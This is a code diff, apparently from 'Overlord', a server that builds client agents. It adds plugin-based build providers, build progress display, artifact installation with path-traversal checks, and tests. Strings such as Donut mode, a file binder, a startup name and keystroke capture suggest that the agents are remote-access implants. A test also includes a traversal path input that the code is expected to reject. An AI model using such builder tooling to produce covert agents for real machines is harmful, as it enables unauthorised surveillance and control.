   return macosSdkRequiredForDarwinCgo && hasDarwin && !document.querySelector('input[name="disable-cgo"]')?.checked;
@@ -231,6 +236,20 @@ let isBuilding = false;
 const BUILD_LOG_MAX_VISIBLE_LINES = 5000;
 const BUILD_LOG_WRAP_KEY = "overlord.buildLog.wrap.v1";
 let buildLogRawChunks = [];
+
+function updateBuildProgress(progress) {
+  const value = Number(progress);
+  const visible = progress !== null && progress !== undefined && Number.isFinite(value);
+  buildProgressTrack?.classList.toggle("hidden", !visible);
+  if (!visible) {
+    if (buildProgressBar) buildProgressBar.style.width = "0%";
+    buildProgressTrack?.removeAttribute("aria-valuenow");
+    return;
+  }
+  const clamped = Math.max(0, Math.min(100, value));
+  if (buildProgressBar) buildProgressBar.style.width = `${clamped}%`;
+  buildProgressTrack?.setAttribute("aria-valuenow", String(Math.round(clamped)));
+}
 let buildLogLineCount = 0;
 let buildLogIssueTotal = 0;
 let buildLogFollow = true;
@@ -476,8 +495,64 @@ function collectBuildPluginSettings() {
   return result;
 }
 
+function selectedBuildProviderPlugin() {
+  const id = buildProviderSelect?.value || "";
+  return id ? buildPlugins.find((plugin) => plugin.id === id && plugin.build?.provider) : null;
+}
+
+function updateBuildProviderUi() {
+  const provider = selectedBuildProviderPlugin();
+  const supported = provider ? new Set(provider.build.provider.platforms || []) : null;
+  for (const input of document.querySelectorAll('input[name="platform"]')) {
+    const allowed = !supported || supported.has(input.value);
+    input.disabled = !allowed;
+    input.closest("label")?.classList.toggle("opacity-40", !allowed);
+    if (!allowed) input.checked = false;
+  }
+  if (provider && !document.querySelector('input[name="platform"]:checked:not(:disabled)')) {
+    const first = document.querySelector('input[name="platform"]:not(:disabled)');
+    if (first) first.checked = true;
+  }
+  if (provider) {
+    if (buildProviderDescription) {
+      buildProviderDescription.textContent = provider.build.provider.description
+        || provider.build.description
+        || `Uses the ${provider.name || provider.id} build provider.`;
+    }
+    const enabled = document.querySelector(`[data-build-plugin-enable="${provider.id}"]`);
+    if (enabled) enabled.checked = true;
+  } else if (buildProviderDescription) {
+    buildProviderDescription.textContent = "Uses the built-in full-featured Go client builder.";
+  }
+  updateWindowsSectionVisibility();
+  updateMacosSdkVisibility();
+}
+
+function renderBuildProviders() {
+  if (!buildProviderSelect) return;
+  const selected = buildProviderSelect.value;
+  buildProviderSelect.innerHTML = '<option value="">Full Go Agent</option>';
+  for (const plugin of buildPlugins) {
+    if (!plugin.build?.provider || plugin.enabled === false) continue;
+    const option = document.createElement("option");
+    option.value = plugin.id;
+    option.textContent = plugin.build.provider.label || plugin.build.label || plugin.name || plugin.id;
+    buildProviderSelect.appendChild(option);
+  }
+  if (Array.from(buildProviderSelect.options).some((option) => option.value === selected)) {
+    buildProviderSelect.value = selected;
+  }
+  updateBuildProviderUi();
+}
+
+buildProviderSelect?.addEventListener("change", () => {
+  updateBuildProviderUi();
+  saveFormSettings();
+});
+
 function setBuildField(field, value) {
   const fieldMap = {
+    buildProvider: "#build-provider",
     useDonut: "#donut-mode",
     donutSingleThreaded: "#donut-single-threaded",
     donutExitMode: "#donut-exit-mode",
@@ -738,9 +813,17 @@ async function loadBuildPlugins() {
     const data = await res.json();
     buildPlugins = Array.isArray(data.plugins) ? data.plugins : [];
     renderBuildPlugins();
+    renderBuildProviders();
     try {
       const raw = localStorage.getItem(BUILD_SETTINGS_KEY);
-      if (raw) applyBuildPluginSettings(JSON.parse(raw).buildPlugins);
+      if (raw) {
+        const saved = JSON.parse(raw);
+        applyBuildPluginSettings(saved.buildPlugins);
+        if (buildProviderSelect && typeof saved.buildProvider === "string") {
+          buildProviderSelect.value = saved.buildProvider;
+          updateBuildProviderUi();
+        }
+      }
     } catch {}
   } catch (err) {
     console.warn("Failed to load build plugins:", err);
@@ -751,6 +834,7 @@ const BUILD_SETTINGS_KEY = "overlord_build_settings";
 
 function collectFormSettings() {
   return {
+    buildProvider: buildProviderSelect?.value || "",
     platforms: Array.from(document.querySelectorAll('input[name="platform"]')).map((el) => ({ value: el.value, checked: el.checked })),
     serverUrl: document.getElementById("server-url")?.value ?? "",
     rawServerList: document.getElementById("raw-server-list")?.checked ?? false,
@@ -819,6 +903,11 @@ function applyFormSettings(settings) {
     if (el && val !== undefined) el.checked = !!val;
   };
 
+  if (settings.buildProvider !== undefined && buildProviderSelect) {
+    buildProviderSelect.value = String(settings.buildProvider || "");
+    updateBuildProviderUi();
+  }
+
   if (Array.isArray(settings.platforms)) {
     settings.platforms.forEach(({ value, checked }) => {
       const el = document.querySelector(`input[name="platform"][value="${value}"]`);
@@ -2025,7 +2114,7 @@ form?.addEventListener("submit", async (e) => {
   if (isBuilding) return;
 
   const platformCheckboxes = form.querySelectorAll(
-    'input[name="platform"]:checked',
+    'input[name="platform"]:checked:not(:disabled)',
   );
   const platforms = Array.from(platformCheckboxes).map((cb) => cb.value);
 
@@ -2034,12 +2123,12 @@ form?.addEventListener("submit", async (e) => {
     return;
   }
 
-  if (!validateStartupName()) {
+  if (!buildProviderSelect?.value && !validateStartupName()) {
     document.getElementById("startup-name")?.focus();
     return;
   }
 
-  if (disableCgoInput?.checked && !confirm(
+  if (!buildProviderSelect?.value && disableCgoInput?.checked && !confirm(
     "CGO is disabled. Native features such as voice/audio, macOS keystroke capture and permission checks, native Linux/macOS plugins, and Windows GPU encoder integrations may not work.\n\nContinue with a limited CGO-disabled build?"
   )) {
     disableCgoInput.focus();
@@ -2108,6 +2197,7 @@ form?.addEventListener("submit", async (e) => {
 
   const buildConfig = {
     platforms,
+    buildProvider: buildProviderSelect?.value || undefined,
     serverUrl: serverUrl || undefined,
     rawServerList,
     solMemo: document.getElementById("sol-memo")?.checked || false,
@@ -2235,6 +2325,7 @@ async function startBuild(config) {
 
   revealElement(buildStatus, { duration: 220, offset: 6 });
   buildStatusText.textContent = "Starting build...";
+  updateBuildProgress(null);
   buildStatus.querySelector("div").className =
     "flex items-center gap-2 p-3 rounded-lg bg-blue-900/40 border border-blue-700/60";
   buildStatus.querySelector("i").className = "fa-solid fa-spinner fa-spin";
@@ -2277,13 +2368,14 @@ async function startBuild(config) {
     await streamBuildOutput(buildId, config);
   } catch (err) {
     addBuildOutput(`\nERROR: ${err.message}\n`, "error");
-    if (!config.disableCgo) {
+    if (!config.buildProvider && !config.disableCgo) {
       addBuildOutput(
         "Hint: This build used CGO. If it keeps failing, try enabling the 'Disable CGO' option and build again.\n",
         "warn",
       );
     }
     buildStatusText.textContent = "Build failed";
+    updateBuildProgress(null);
     buildStatus.querySelector("div").className =
       "flex items-center gap-2 p-3 rounded-lg bg-red-900/40 border border-red-700/60";
     buildStatus.querySelector("i").className = "fa-solid fa-circle-xmark";
@@ -2429,6 +2521,7 @@ async function streamBuildOutput(buildId, config = {}) {
               addBuildOutput(data.text, data.level || "info");
             } else if (data.type === "status") {
               buildStatusText.textContent = data.text;
+              updateBuildProgress(data.progress);
             } else if (data.type === "file_share_uploaded") {
               uploadedShareFiles.push({
                 id: data.id,
@@ -2437,6 +2530,7 @@ async function streamBuildOutput(buildId, config = {}) {
                 size: data.size,
               });
             } else if (data.type === "complete") {
+              updateBuildProgress(data.success ? 100 : null);
               buildStatusText.textContent = data.success
                 ? "Build completed successfully!"
                 : "Build failed";

Overlord-Server/public/build.html

@@ -443,6 +443,21 @@
                 </div>
                 <input type="file" id="profile-import-file" accept="application/json,.json" class="hidden" />
 
+              <div class="border border-slate-800 rounded-lg bg-slate-900/40 p-4" data-builder-panel="target">
+                <label for="build-provider" class="flex flex-col gap-2">
+                  <span class="text-sm font-medium text-slate-200 flex items-center gap-2">
+                    <i class="fa-solid fa-cubes text-fuchsia-400"></i> Agent Type
+                  </span>
+                  <select id="build-provider"
+                    class="w-full px-3 py-2 bg-slate-800/70 border border-slate-700 rounded-lg text-sm focus:outline-none focus:border-fuchsia-500 transition-colors">
+                    <option value="">Full Go Agent</option>
+                  </select>
+                  <span id="build-provider-description" class="text-xs text-slate-500">
+                    Uses the built-in full-featured Go client builder.
+                  </span>
+                </label>
+              </div>
+
               <!-- == Section 1: Target Platforms (open) == -->
               <div class="accordion-section border border-slate-800 rounded-lg overflow-hidden" data-open="true" data-builder-panel="target">
                 <button type="button" class="accordion-header w-full flex items-center justify-between px-4 py-3 bg-slate-800/50 hover:bg-slate-800/80 transition-colors text-left">
@@ -1322,7 +1337,12 @@
             <div id="build-status" class="mb-4 hidden">
               <div class="flex items-center gap-2 p-3 rounded-lg bg-blue-900/40 border border-blue-700/60">
                 <i class="fa-solid fa-spinner fa-spin"></i>
-                <span id="build-status-text">Building...</span>
+                <div class="min-w-0 flex-1">
+                  <span id="build-status-text">Building...</span>
+                  <div id="build-progress-track" class="hidden mt-2 h-2 overflow-hidden rounded-full bg-slate-950/70" role="progressbar" aria-valuemin="0" aria-valuemax="100">
+                    <div id="build-progress-bar" class="h-full w-0 rounded-full bg-blue-400 transition-[width] duration-500"></div>
+                  </div>
+                </div>
               </div>
             </div>
 

Overlord-Server/src/build/types.ts

@@ -11,6 +11,8 @@ export type BuildStream = {
 
 export type BuildConfig = {
   platforms: string[];
+  buildProvider?: string;
+  buildPlugins?: Record<string, { enabled: boolean; settings: Record<string, unknown> }>;
   serverUrl?: string;
   rawServerList?: boolean;
   mutex?: string;

Overlord-Server/src/main-server.ts

@@ -247,6 +247,10 @@ const WINRE_ROOT = path.join(DATA_DIR, "winre");
 const FILE_SHARE_ROOT = path.join(DATA_DIR, "file-share");
 
 function resolvePluginWorkerHostUrl(): string {
+  const currentModulePath = fileURLToPath(import.meta.url);
+  if (currentModulePath.endsWith(`${path.sep}src${path.sep}main-server.ts`)) {
+    return new URL("./server/plugin-runtime/worker-host.ts", import.meta.url).href;
+  }
   const builtWorker = path.join(RUNTIME_ROOT, "dist", "server", "plugin-runtime", "worker-host.js");
   if (existsSync(builtWorker)) {
     return pathToFileURL(builtWorker).href;
@@ -311,6 +315,8 @@ const startBuildProcess = (buildId: string, buildConfig: any) =>
     sanitizeOutputName,
     fileShareRoot: FILE_SHARE_ROOT,
     runBuildHookForAll: (hook, payload) => pluginRuntime.runBuildHookForAll(hook, payload),
+    runBuildProvider: (pluginId, payload, onOutput) =>
+      pluginRuntime.runBuildProvider(pluginId, payload, onOutput),
   });
 
 const pendingHttpDownloads = new Map<string, PendingHttpDownload>();

Overlord-Server/src/protocol.ts

@@ -394,11 +394,19 @@ export type PluginBuildIntegration = {
   enabledByDefault?: boolean;
   label?: string;
   description?: string;
+  provider?: PluginBuildProvider;
   settings?: PluginBuildSetting[];
   actions?: PluginBuildAction[];
   requires?: PluginBuildRequirement[];
 };
 
+export type PluginBuildProvider = {
+  label?: string;
+  description?: string;
+  icon?: string;
+  platforms: string[];
+};
+
 export type PluginBuildSetting = {
   key: string;
   label?: string;

Overlord-Server/src/server/build-process.ts

@@ -25,6 +25,8 @@ import { resolveContainedPath } from "./upload-security";
 import { createIsolatedBuildEnv } from "./build-environment";
 import { cleanupMacosSdkUpload, extractAndValidateMacosSdk } from "./macos-sdk-manager";
 import { getActiveTlsSpkiPins } from "./tls-bootstrap";
+import { installProviderArtifacts, providerStagingDirectory } from "./plugin-build-provider";
+import type { PluginBuildProviderOutput } from "./plugin-runtime/runtime";
 
 export function createAgentTlsPinsLdflag(pins: string[]): string {
   if (pins.length === 0) return "";
@@ -95,6 +97,7 @@ type BoundFile = {
 
 type BuildProcessConfig = {
   platforms: string[];
+  buildProvider?: string;
   serverUrl?: string;
   rawServerList?: boolean;
   mutex?: string;
@@ -287,6 +290,11 @@ type BuildProcessDeps = {
   sanitizeOutputName: (name: string) => string;
   fileShareRoot?: string;
   runBuildHookForAll?: BuildHookRunner;
+  runBuildProvider?: (
+    pluginId: string,
+    payload: unknown,
+    onOutput: (output: PluginBuildProviderOutput) => void,
+  ) => Promise<unknown>;
 };
 
 function guessMimeTypeForUpload(filename: string): string {
@@ -614,12 +622,76 @@ export async function startBuildProcess(
     }
   };
 
+  const finishSuccessfulBuild = async (outDir: string, buildTag?: string) => {
+    build.status = "completed";
+    logger.info(`[build:${buildId.substring(0, 8)}] Build completed successfully! Built ${build.files.length} file(s)`);
+    sendToStream({ type: "output", text: `\n[OK] Build completed successfully!\n`, level: "success" });
+
+    if (config.uploadToFileShare && config.builtByUserId && deps.fileShareRoot) {
+      try {
+        await uploadBuildFilesToFileShare(
+          build,
+          outDir,
+          deps.fileShareRoot,
+          config.builtByUserId,
+          sendToStream,
+        );
+      } catch (uploadErr: any) {
+        sendToStream({
+          type: "output",
+          text: `WARNING: File-share upload failed: ${uploadErr.message || uploadErr}\n`,
+          level: "warn",
+        });
+      }
+    } else if (config.uploadToFileShare && !deps.fileShareRoot) {
+      sendToStream({
+        type: "output",
+        text: "WARNING: File-share upload requested but file share is not configured on this server.\n",
+        level: "warn",
+      });
+    }
+
+    await runBuildHooks(
+      deps.runBuildHookForAll,
+      "complete",
+      {
+        buildId,
+        status: build.status,
+        files: build.files,
+        outputDir: outDir,
+        expiresAt: build.expiresAt,
+        userId: config.builtByUserId,
+        config,
+      },
+      sendToStream,
+    );
+
+    sendToStream({ type: "complete", success: true, files: build.files, buildId, expiresAt: build.expiresAt });
+
+    saveBuild({
+      id: build.id,
+      status: build.status,
+      startTime: build.startTime,
+      expiresAt: build.expiresAt,
+      files: build.files as any,
+      buildTag,
+      builtByUserId: config.builtByUserId,
+      initialClientTag: config.initialClientTag,
+    });
+
+    setTimeout(() => {
+      logger.info(`[build:${buildId.substring(0, 8)}] Cleaning up expired build`);
+      buildManager.deleteBuildStream(buildId);
+    }, SEVEN_DAYS_MS);
+  };
+
   let winresTempDir: string | null = null;
   const generatedSysoFiles: string[] = [];
   let binderGenPath: string | null = null;
   let binderFilesDir: string | null = null;
   let binderLockPath: string | null = null;
   let macosSdkRoot: string | null = null;
+  let providerStagingDir: string | null = null;
 
   const buildStartedAt = Date.now();
   const keepAliveTimer = setInterval(() => {
@@ -654,6 +726,136 @@ export async function startBuildProcess(
       );
     }
 
+    const rootDir = resolveRuntimeRoot();
+    const outDir = path.join(rootDir, "dist-clients");
+
+    if (config.buildProvider) {
+      if (!deps.runBuildProvider) {
+        throw new Error("Plugin build providers are not available");
+      }
+      const buildTag = await signBuildToken({
+        v: 1,
+        bid: buildId,
+        uid: config.builtByUserId ?? null,
+        iat: Math.floor(Date.now() / 1000),
+      });
+      providerStagingDir = providerStagingDirectory(rootDir, buildId);
+      fs.rmSync(providerStagingDir, { recursive: true, force: true });
+      fs.mkdirSync(providerStagingDir, { recursive: true });
+      fs.mkdirSync(outDir, { recursive: true });
+
+      sendToStream({ type: "status", text: `Starting ${config.buildProvider} build provider...` });
+      sendToStream({
+        type: "output",
+        text: `Build provider: ${config.buildProvider}\n`,
+        level: "info",
+      });
+      const providerResult = await deps.runBuildProvider(
+        config.buildProvider,
+        {
+          buildId,
+          providerId: config.buildProvider,
+          runtimeRoot: rootDir,
+          outputDir: providerStagingDir,
+          platforms: config.platforms,
+          serverUrl: config.serverUrl,
+          agentToken: buildAgentToken,
+          buildTag,
+          tlsSpkiPins: buildTlsSpkiPins,
+          initialClientTag: config.initialClientTag,
+          outputName: config.outputName,
+          settings: config.buildPlugins?.[config.buildProvider]?.settings || {},
+          config,
+        },
+        (output) => {
+          const text = String(output.text || "").slice(0, 64 * 1024);
+          if (!text) return;
+          if (output.event === "status") {
+            const progress = Number.isFinite(output.progress)
+              ? Math.max(0, Math.min(100, Number(output.progress)))
+              : undefined;
+            const etaSeconds = Number.isFinite(output.etaSeconds)
+              ? Math.max(0, Math.min(7 * 24 * 60 * 60, Math.round(Number(output.etaSeconds))))
+              : undefined;
+            sendToStream({ type: "status", text, progress, etaSeconds });
+          } else {
+            sendToStream({
+              type: "output",
+              text: text.endsWith("\n") ? text : `${text}\n`,
+              level: output.level || "info",
+            });
+          }
+        },
+      );
+
+      const providerFiles = installProviderArtifacts({
+        result: providerResult,
+        stagingDir: providerStagingDir,
+        outputDir: outDir,
+        buildId,
+        requestedPlatforms: config.platforms,
+        sanitizeOutputName: deps.sanitizeOutputName,
+      });
+
+      for (const installed of providerFiles) {
+        let finalFile = { ...installed };
+        const extraFiles: any[] = [];
+        const artifactPayload = {
+          buildId,
+          providerId: config.buildProvider,
+          platform: finalFile.platform,
+          outDir,
+          file: {
+            ...finalFile,
+            path: path.join(outDir, finalFile.filename),
+          },
+          files: cloneForHook(build.files),
+          config,
+        };
+        for (const item of await runBuildHooks(deps.runBuildHookForAll, "artifact", artifactPayload, sendToStream)) {
+          if (!isRecord(item.result)) continue;
+          const replacement = isRecord(item.result.file) ? item.result.file : item.result;
+          if (typeof replacement.filename === "string" && replacement.filename.trim()) {
+            const safeFilename = deps.sanitizeOutputName(path.basename(replacement.filename.trim()));
+            const candidatePath = resolveContainedPath(outDir, safeFilename);
+            if (fs.existsSync(candidatePath)) {
+              finalFile = {
+                ...finalFile,
+                filename: safeFilename,
+                size: fs.statSync(candidatePath).size,
+              };
+            } else {
+              sendToStream({
+                type: "output",
+                text: `[plugin:${item.pluginId}] WARNING: artifact hook returned missing file ${safeFilename}; keeping ${finalFile.filename}\n`,
+                level: "warn",
+              });
+            }
+          }
+          if (Array.isArray(item.result.files)) {
+            for (const rawFile of item.result.files) {
+              if (!isRecord(rawFile) || typeof rawFile.filename !== "string" || !rawFile.filename.trim()) continue;
+              const safeFilename = deps.sanitizeOutputName(path.basename(rawFile.filename.trim()));
+              const candidatePath = resolveContainedPath(outDir, safeFilename);
+              if (!fs.existsSync(candidatePath)) continue;
+              const stat = fs.statSync(candidatePath);
+              extraFiles.push({
+                name: typeof rawFile.name === "string" && rawFile.name.trim() ? rawFile.name.trim() : safeFilename,
+                filename: safeFilename,
+                platform: typeof rawFile.platform === "string" ? rawFile.platform : finalFile.platform,
+                version: typeof rawFile.version === "string" ? rawFile.version : finalFile.version,
+                size: stat.size,
+              });
+            }
+          }
+        }
+        (build.files as any[]).push(finalFile, ...extraFiles);
+      }
+
+      await finishSuccessfulBuild(outDir, buildTag);
+      return;
+    }
+
     sendToStream({ type: "status", text: "Preparing build environment..." });
 
     try {
@@ -671,7 +873,6 @@ export async function startBuildProcess(
       return;
     }
 
-    const rootDir = resolveRuntimeRoot();
     const clientDir = resolveClientModuleDir(rootDir);
     if (!clientDir) {
       throw new Error(
@@ -679,7 +880,6 @@ export async function startBuildProcess(
       );
     }
     const agentVersion = detectAgentVersion(clientDir);
-    const outDir = path.join(rootDir, "dist-clients");
     const cacheRoot = resolveClientBuildCacheRoot();
     const goBuildCacheDir = path.join(cacheRoot, "go-build");
     const goModCacheDir = path.join(cacheRoot, "go-mod");
@@ -2230,66 +2430,7 @@ func runBoundFiles() {
       }
     }
 
-    build.status = "completed";
+    await finishSuccessfulBuild(outDir, buildTag);
-    logger.info(`[build:${buildId.substring(0, 8)}] Build completed successfully! Built ${build.files.length} file(s)`);
-    sendToStream({ type: "output", text: `\n[OK] Build completed successfully!\n`, level: "success" });
-
-    if (config.uploadToFileShare && config.builtByUserId && deps.fileShareRoot) {
-      try {
-        await uploadBuildFilesToFileShare(
-          build,
-          outDir,
-          deps.fileShareRoot,
-          config.builtByUserId,
-          sendToStream,
-        );
-      } catch (uploadErr: any) {
-        sendToStream({
-          type: "output",
-          text: `WARNING: File-share upload failed: ${uploadErr.message || uploadErr}\n`,
-          level: "warn",
-        });
-      }
-    } else if (config.uploadToFileShare && !deps.fileShareRoot) {
-      sendToStream({
-        type: "output",
-        text: "WARNING: File-share upload requested but file share is not configured on this server.\n",
-        level: "warn",
-      });
-    }
-
-    await runBuildHooks(
-      deps.runBuildHookForAll,
-      "complete",
-      {
-        buildId,
-        status: build.status,
-        files: build.files,
-        outputDir: outDir,
-        expiresAt: build.expiresAt,
-        userId: config.builtByUserId,
-        config,
-      },
-      sendToStream,
-    );
-
-    sendToStream({ type: "complete", success: true, files: build.files, buildId, expiresAt: build.expiresAt });
-
-    saveBuild({
-      id: build.id,
-      status: build.status,
-      startTime: build.startTime,
-      expiresAt: build.expiresAt,
-      files: build.files as any,
-      buildTag,
-      builtByUserId: config.builtByUserId,
-      initialClientTag: config.initialClientTag,
-    });
-
-    setTimeout(() => {
-      logger.info(`[build:${buildId.substring(0, 8)}] Cleaning up expired build`);
-      buildManager.deleteBuildStream(buildId);
-    }, SEVEN_DAYS_MS);
   } catch (err: any) {
     build.status = "failed";
     logger.error(`[build:${buildId.substring(0, 8)}] Build failed:`, err);
@@ -2335,6 +2476,9 @@ func runBoundFiles() {
     if (binderLockPath) {
       try { fs.unlinkSync(binderLockPath); } catch {}
     }
+    if (providerStagingDir) {
+      try { fs.rmSync(providerStagingDir, { recursive: true, force: true }); } catch {}
+    }
     cleanupMacosSdkUpload(config.macosSdkUploadDir);
   }
 }

Overlord-Server/src/server/plugin-build-provider.test.ts

@@ -0,0 +1,69 @@
+import { afterEach, describe, expect, test } from "bun:test";
+import { mkdtemp, mkdir, rm, writeFile } from "fs/promises";
+import { tmpdir } from "os";
+import { join } from "path";
+import { installProviderArtifacts, providerStagingDirectory } from "./plugin-build-provider";
+
+const roots: string[] = [];
+
+afterEach(async () => {
+  await Promise.all(roots.map((root) => rm(root, { recursive: true, force: true })));
+  roots.length = 0;
+});
+
+async function fixture() {
+  const root = await mkdtemp(join(tmpdir(), "overlord-provider-test-"));
+  roots.push(root);
+  const buildId = "12345678-1234-1234-1234-123456789abc";
+  const stagingDir = providerStagingDirectory(root, buildId);
+  const outputDir = join(root, "dist-clients");
+  await mkdir(stagingDir, { recursive: true });
+  return { root, buildId, stagingDir, outputDir };
+}
+
+describe("plugin build provider artifacts", () => {
+  test("installs validated artifacts with a unique build suffix", async () => {
+    const dirs = await fixture();
+    await writeFile(join(dirs.stagingDir, "lite.exe"), "rust-lite");
+
+    const files = installProviderArtifacts({
+      result: { artifacts: [{ filename: "lite.exe", platform: "windows-amd64", version: "0.1.0" }] },
+      stagingDir: dirs.stagingDir,
+      outputDir: dirs.outputDir,
+      buildId: dirs.buildId,
+      requestedPlatforms: ["windows-amd64"],
+      sanitizeOutputName: (name) => name.replace(/[^A-Za-z0-9._-]/g, ""),
+    });
+
+    expect(files).toEqual([{
+      name: "lite.exe",
+      filename: "lite-12345678.exe",
+      platform: "windows-amd64",
+      version: "0.1.0",
+      size: 9,
+    }]);
+  });
+
+  test("rejects traversal and unrequested platforms", async () => {
+    const dirs = await fixture();
+    await writeFile(join(dirs.root, "outside.exe"), "outside");
+    expect(() => installProviderArtifacts({
+      result: { artifacts: [{ path: "../../../outside.exe", filename: "outside.exe", platform: "windows-amd64" }] },
+      stagingDir: dirs.stagingDir,
+      outputDir: dirs.outputDir,
+      buildId: dirs.buildId,
+      requestedPlatforms: ["windows-amd64"],
+      sanitizeOutputName: (name) => name,
+    })).toThrow("escaped");
+
+    await writeFile(join(dirs.stagingDir, "lite"), "lite");
+    expect(() => installProviderArtifacts({
+      result: { artifacts: [{ filename: "lite", platform: "linux-arm64" }] },
+      stagingDir: dirs.stagingDir,
+      outputDir: dirs.outputDir,
+      buildId: dirs.buildId,
+      requestedPlatforms: ["linux-amd64"],
+      sanitizeOutputName: (name) => name,
+    })).toThrow("unrequested platform");
+  });
+});

Overlord-Server/src/server/plugin-build-provider.ts

@@ -0,0 +1,125 @@
+import fs from "fs";
+import path from "path";
+
+const MAX_PROVIDER_ARTIFACTS = 32;
+const MAX_PROVIDER_ARTIFACT_BYTES = 512 * 1024 * 1024;
+
+export type ProviderArtifact = {
+  name: string;
+  filename: string;
+  platform: string;
+  version?: string;
+  size: number;
+};
+
+function isRecord(value: unknown): value is Record<string, any> {
+  return !!value && typeof value === "object" && !Array.isArray(value);
+}
+
+function isInside(root: string, target: string): boolean {
+  const prefix = root.endsWith(path.sep) ? root : `${root}${path.sep}`;
+  return target === root || target.startsWith(prefix);
+}
+
+function withBuildSlug(filename: string, slug: string): string {
+  const extension = path.extname(filename);
+  const stem = filename.slice(0, filename.length - extension.length);
+  return stem.endsWith(`-${slug}`) ? filename : `${stem}-${slug}${extension}`;
+}
+
+export function providerStagingDirectory(runtimeRoot: string, buildId: string): string {
+  if (!/^[A-Za-z0-9-]{8,64}$/.test(buildId)) {
+    throw new Error("Invalid provider build id");
+  }
+  return path.join(runtimeRoot, "dist-clients", ".plugin-builds", buildId);
+}
+
+export function installProviderArtifacts(args: {
+  result: unknown;
+  stagingDir: string;
+  outputDir: string;
+  buildId: string;
+  requestedPlatforms: string[];
+  sanitizeOutputName: (name: string) => string;
+}): ProviderArtifact[] {
+  if (!isRecord(args.result) || !Array.isArray(args.result.artifacts)) {
+    throw new Error("Build provider must return an artifacts array");
+  }
+  if (args.result.artifacts.length === 0) {
+    throw new Error("Build provider returned no artifacts");
+  }
+  if (args.result.artifacts.length > MAX_PROVIDER_ARTIFACTS) {
+    throw new Error(`Build provider returned more than ${MAX_PROVIDER_ARTIFACTS} artifacts`);
+  }
+
+  const realStagingDir = fs.realpathSync(args.stagingDir);
+  const requestedPlatforms = new Set(args.requestedPlatforms);
+  const buildSlug = args.buildId.substring(0, 8);
+  const installed: ProviderArtifact[] = [];
+  const installedPaths: string[] = [];
+  const names = new Set<string>();
+
+  try {
+    for (const raw of args.result.artifacts) {
+      if (!isRecord(raw)) throw new Error("Build provider returned an invalid artifact");
+      const relativePath = typeof raw.path === "string" && raw.path.trim()
+        ? raw.path.trim()
+        : typeof raw.filename === "string"
+          ? raw.filename.trim()
+          : "";
+      if (!relativePath || path.isAbsolute(relativePath)) {
+        throw new Error("Provider artifact paths must be relative to the build output directory");
+      }
+
+      const sourcePath = path.resolve(args.stagingDir, relativePath);
+      if (!isInside(path.resolve(args.stagingDir), sourcePath)) {
+        throw new Error("Provider artifact escaped the build output directory");
+      }
+      const sourceStat = fs.lstatSync(sourcePath);
+      if (sourceStat.isSymbolicLink() || !sourceStat.isFile()) {
+        throw new Error("Provider artifacts must be regular files");
+      }
+      const realSourcePath = fs.realpathSync(sourcePath);
+      if (!isInside(realStagingDir, realSourcePath)) {
+        throw new Error("Provider artifact resolved outside the build output directory");
+      }
+      if (sourceStat.size <= 0 || sourceStat.size > MAX_PROVIDER_ARTIFACT_BYTES) {
+        throw new Error("Provider artifact has an invalid size");
+      }
+
+      const platform = typeof raw.platform === "string" ? raw.platform.trim() : "";
+      if (!requestedPlatforms.has(platform)) {
+        throw new Error(`Provider returned an artifact for unrequested platform ${platform || "<empty>"}`);
+      }
+      const suggestedName = typeof raw.filename === "string" && raw.filename.trim()
+        ? path.basename(raw.filename.trim())
+        : path.basename(relativePath);
+      const sanitizedName = args.sanitizeOutputName(suggestedName);
+      if (!sanitizedName) throw new Error("Provider returned an invalid artifact filename");
+      const filename = withBuildSlug(sanitizedName, buildSlug);
+      if (names.has(filename)) throw new Error(`Provider returned duplicate artifact ${filename}`);
+      names.add(filename);
+
+      fs.mkdirSync(args.outputDir, { recursive: true });
+      const destinationPath = path.join(args.outputDir, filename);
+      fs.copyFileSync(realSourcePath, destinationPath);
+      installedPaths.push(destinationPath);
+      const size = fs.statSync(destinationPath).size;
+      installed.push({
+        name: typeof raw.name === "string" && raw.name.trim()
+          ? raw.name.trim().slice(0, 128)
+          : suggestedName,
+        filename,
+        platform,
+        ...(typeof raw.version === "string" && raw.version.trim() && { version: raw.version.trim().slice(0, 64) }),
+        size,
+      });
+    }
+    return installed;
+  } catch (error) {
+    for (const installedPath of installedPaths) {
+      try { fs.unlinkSync(installedPath); } catch {}
+    }
+    throw error;
+  }
+}

Overlord-Server/src/server/plugin-runtime/runtime.test.ts

@@ -0,0 +1,85 @@
+import { afterEach, describe, expect, test } from "bun:test";
+import { mkdtemp, mkdir, rm, writeFile } from "fs/promises";
+import { tmpdir } from "os";
+import { join } from "path";
+import { createPluginRuntime } from "./runtime";
+
+const roots: string[] = [];
+
+afterEach(async () => {
+  await Promise.all(roots.map((root) => rm(root, { recursive: true, force: true })));
+  roots.length = 0;
+});
+
+describe("plugin build providers", () => {
+  test("streams provider output and returns its artifacts", async () => {
+    const root = await mkdtemp(join(tmpdir(), "overlord-plugin-runtime-test-"));
+    roots.push(root);
+    const pluginDir = join(root, "provider");
+    await mkdir(pluginDir, { recursive: true });
+    await writeFile(join(pluginDir, "server.js"), `
+      export default {
+        onBuild(ctx, payload) {
+          ctx.build.status("Compiling test provider", 35, 42);
+          ctx.build.output("cargo output", "success");
+          return { artifacts: [{ filename: payload.filename, platform: "windows-amd64" }] };
+        }
+      };
+    `);
+
+    const errors: string[] = [];
+    const runtime = createPluginRuntime({
+      pluginRoot: root,
+      workerHostUrl: new URL("./worker-host.ts", import.meta.url).href,
+      setLastError: (_pluginId, error) => errors.push(error),
+    });
+    try {
+      await runtime.startPlugin("provider");
+      const output: any[] = [];
+      const result = await runtime.runBuildProvider(
+        "provider",
+        { filename: "lite.exe" },
+        (event) => output.push(event),
+      );
+
+      expect(result).toEqual({
+        artifacts: [{ filename: "lite.exe", platform: "windows-amd64" }],
+      });
+      expect(output).toEqual([
+        { event: "status", text: "Compiling test provider", level: undefined, progress: 35, etaSeconds: 42 },
+        { event: "output", text: "cargo output", level: "success" },
+      ]);
+      expect(errors).toEqual([]);
+    } finally {
+      await runtime.shutdownAll();
+    }
+  });
+
+  test("rejects immediately when a stale worker lacks build-provider support", async () => {
+    const root = await mkdtemp(join(tmpdir(), "overlord-plugin-runtime-stale-test-"));
+    roots.push(root);
+    const pluginDir = join(root, "provider");
+    await mkdir(pluginDir, { recursive: true });
+    await writeFile(join(pluginDir, "server.js"), "export default {};\n");
+    const staleWorker = join(root, "stale-worker.js");
+    await writeFile(staleWorker, `
+      self.onmessage = (event) => {
+        if (event.data?.type === "boot") self.postMessage({ type: "ready" });
+      };
+    `);
+
+    const runtime = createPluginRuntime({
+      pluginRoot: root,
+      workerHostUrl: staleWorker,
